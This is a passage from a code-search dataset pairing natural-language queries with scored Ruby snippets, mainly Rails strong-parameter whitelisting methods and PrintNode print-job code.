abcfoodef\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n #\n string = '<a></a>DISPLAY<b></b> foo'\n expected = '<a></a>DISPLAY<b></b> <a href=\"foo.html\">foo</a>'\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n #\n File.delete( '/tmp/foo.asc' )\n File.delete( '/tmp/bar.asc' )\n File.delete( '/tmp/foo-bar.asc' )\n File.delete( '/tmp/bar-foo-bar.asc' )\n File.delete( '/tmp/compiled-website-test-file.asc' )\n $VERBOSE = verbose_old\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "08b882e74646d7b76225f2ccd9d262ff",
"score": "0.0",
"text": "def task_params\n params.require(:task).permit(:list_id, :content, :importance, :is_done, :deadline);\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
9a9a24051e868149cc1dbb9a5134ce0b | Creates a new PrintNode::PrintJob instance. | [
{
"docid": "314cb33795eccebdf8d02b77029c9d70",
"score": "0.47859523",
"text": "def initialize(connection=nil)\n @connection ||= connection || PrintNode::Client.connection\n end",
"title": ""
}
] | [
{
"docid": "c6c373e0f2e6528577753219fd19289c",
"score": "0.7534434",
"text": "def create_printjob(printjob, options = {})\n hash = printjob.to_hash\n if options\n options.each do |(k, v)|\n hash[k] = v\n end\n end\n JSON.parse('[' + post('/printjobs/', hash).body + ']')[0]\n end",
"title": ""
},
{
"docid": "57ec57de15bc5613019e47856d5fe5d6",
"score": "0.63938934",
"text": "def create\n @print_job = PrintJob.new(params[:print_job])\n\n respond_to do |format|\n if @print_job.save\n format.html { redirect_to(@print_job, :notice => 'Print job was successfully created.') }\n format.xml { render :xml => @print_job, :status => :created, :location => @print_job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @print_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74b7451b70ca9ff32a9b274b08eb5a71",
"score": "0.6380115",
"text": "def new\n @print = Print.new\n end",
"title": ""
},
{
"docid": "d37d538fef0a6840a52294a84b8c1eec",
"score": "0.6317248",
"text": "def parse_print_job(j)\n kind = j.at_xpath(\"KindOfJob/JobType\").text.downcase\n created_at = self.parse_date j.at_xpath('JobTime/CreateTime')\n stopped_at = self.parse_date j.at_xpath('JobTime/EndTime')\n canceled = j.at_xpath('JobResult/Result').text != 'End'\n name = if kind == 'print'\n j.at_xpath('JobCommonMode/JobName').text\n else\n 'COPY'\n end\n\n {\n job_id: j.at_xpath('JobID').text,\n kind: kind,\n owner: j.at_xpath('JobCommonMode/UserName').text,\n name: name,\n created_at: created_at,\n stopped_at: stopped_at,\n duration: (stopped_at - created_at).to_i, # in seconds\n canceled: canceled,\n paper: j.at_xpath('PaperOutput').text,\n copy_num: j.at_xpath('JobNumber/CopyNumber').text.to_i,\n doc_num: j.at_xpath('JobNumber/DocumentNumber').text.to_i\n }\n end",
"title": ""
},
{
"docid": "e902ed68066821b8c699c312d567f01e",
"score": "0.6071279",
"text": "def do_print_jobs( printerid )\n\n fetch_and_print_queue_if_ready( \n item_from_printerid( printerid ), \n printerid \n )\n \n end",
"title": ""
},
{
"docid": "bfdd502bdeb72d388b39719bb025fa41",
"score": "0.5823133",
"text": "def new\n @job = Job.new\n @job.num_positions = 0\n end",
"title": ""
},
{
"docid": "72fb5896f8405c2f9b425b5f9159f382",
"score": "0.55202377",
"text": "def new\n @job = Job.new\n end",
"title": ""
},
{
"docid": "1536a3def2b8e899741bbb394dbdbe53",
"score": "0.5482132",
"text": "def create\n @job = Job.new(job_params)\n end",
"title": ""
},
{
"docid": "77289383a5e7436c0be28084108c30e6",
"score": "0.54546994",
"text": "def create\n @print_queue = PrintQueue.new(params[:print_queue])\n\n respond_to do |format|\n if @print_queue.save\n format.html { redirect_to @print_queue, notice: 'Print queue was successfully created.' }\n format.json { render json: @print_queue, status: :created, location: @print_queue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @print_queue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "49202fb7556fbaa319699f9831a4261a",
"score": "0.5436418",
"text": "def new\n @job = Job.new\n\n\t\n end",
"title": ""
},
{
"docid": "a5841a7f859627f6eb3c219fae52fdb4",
"score": "0.54063874",
"text": "def initialize(printer)\n @printer = printer\n yield self\n end",
"title": ""
},
{
"docid": "731306014b5ab2a05e6696420566434a",
"score": "0.5391515",
"text": "def new\n @print = Print.new\n @print.build_attachment\n end",
"title": ""
},
{
"docid": "4dddb4c4f46b0a463d8a00e896f4fdbf",
"score": "0.536266",
"text": "def perform model_name, id, printer_id\n # Do something later\n printer = Printer.find(printer_id.to_i)\n print_template = printer.print_template\n Rails.logger.info \"PrintItJob: PRINTING MODEL: #{model_name}\"\n header = model_name.constantize.find(id)\n items = header.records_for_print(id).order(code: :asc)\n\n pivot = []\n @pjob = PrintJob.create(printer_id: printer.id, finished: false, iserror: false, total: 0, printed: 0)\n # Spezzetto l'array degli items in gruppi di number_of_barcodes\n # Rails.logger.info \"BELLAAAAAAA! #{items.group_by.with_index{|_, i| i % print_template.number_of_barcodes}.values.inspect}\"\n items.each_slice(print_template.number_of_barcodes) do |item_group|\n # Rails.logger.info \"ITEMGROUP: #{item_group.inspect}\"\n barcodes = item_group.map(&:id)\n barcodes = barcodes.fill(\"\", barcodes.length..(print_template.number_of_barcodes - 1)) if print_template.number_of_barcodes > barcodes.length\n Rails.logger.info \"PrintItJob: PASSING THESE IDs TO TEMPLATE: #{barcodes.inspect}\"\n pivot.push print_template.translate(header: header, items: barcodes, temperature: printer.temperature)\n # Rails.logger.info \"BARCODES: #{barcodes.inspect}\"\n # Se il risultato è un errore, allora mi fermo completamente e loggo il numero di particolari stampati\n # Rails.logger.info \"RISULTATO: #{result}\"\n end\n\n # Rails.logger.info \"PrintItJob: SENDING TO PRINTER, TEXT TO PRINT IS:\\n #{pivot.inspect}\"\n result = pivot.empty? ? false : send_to_printer(printer.ip, pivot.join(\"\"))\n @pjob.update(printed: (result ? pivot.length : 0)) # Se risultato true, allora ha stampato tutto, altrimenti non ha stampato nulla\n @pjob.update(total: pivot.length) # In realtà è inutile, ora manda tutto quello che può alla stampante, solo lei può andare storta\n @pjob.update(finished: result)\n end",
"title": ""
},
{
"docid": "942d2cffb353030cd0264611148017bf",
"score": "0.5338746",
"text": "def parse_print_jobs\n @doc.xpath('//MFP/JobHistoryList/Print/JobHistory').each { |node|\n @jobs['print'] << self.parse_print_job(node)\n }\n\n @jobs['print'].size\n end",
"title": ""
},
{
"docid": "296c3dd6ccc7c529512c099714957719",
"score": "0.53324735",
"text": "def create_job(name, args, priority = QRPC::DEFAULT_PRIORITY, &block)\n Client::Job::new(self.id, name, args, priority, &block)\n end",
"title": ""
},
{
"docid": "d9edd1059acc5068faa6fc2d45d6a6d6",
"score": "0.53322506",
"text": "def new\n @print_job = PrintJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @print_job }\n end\n end",
"title": ""
},
{
"docid": "03f63a79fa7ac8b35a00e5f993fe58c8",
"score": "0.53318226",
"text": "def create\n @print = Print.new(print_params)\n\n respond_to do |format|\n if @print.save\n format.html { redirect_to @print, notice: 'Print was successfully created.' }\n format.json { render action: 'show', status: :created, location: @print }\n else\n format.html { render action: 'new' }\n format.json { render json: @print.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c288d6d9dc42ad327e7ae2a49b9d7bea",
"score": "0.5301662",
"text": "def new_instance\n self.class.new(job_queue: job_queue, job_args: job_args, job_meta: job_meta)\n end",
"title": ""
},
{
"docid": "0a3d65230a257d35bc3e93cb812a76e1",
"score": "0.5256506",
"text": "def initialize(name, job)\n @name = name\n @job = job\n end",
"title": ""
},
{
"docid": "0a3d65230a257d35bc3e93cb812a76e1",
"score": "0.5256506",
"text": "def initialize(name, job)\n @name = name\n @job = job\n end",
"title": ""
},
{
"docid": "0a3d65230a257d35bc3e93cb812a76e1",
"score": "0.5256506",
"text": "def initialize(name, job)\n @name = name\n @job = job\n end",
"title": ""
},
{
"docid": "0a3d65230a257d35bc3e93cb812a76e1",
"score": "0.5256506",
"text": "def initialize(name, job)\n @name = name\n @job = job\n end",
"title": ""
},
{
"docid": "0a3d65230a257d35bc3e93cb812a76e1",
"score": "0.5256506",
"text": "def initialize(name, job)\n @name = name\n @job = job\n end",
"title": ""
},
{
"docid": "18055e91026b571ae021639a06c9df4d",
"score": "0.5230308",
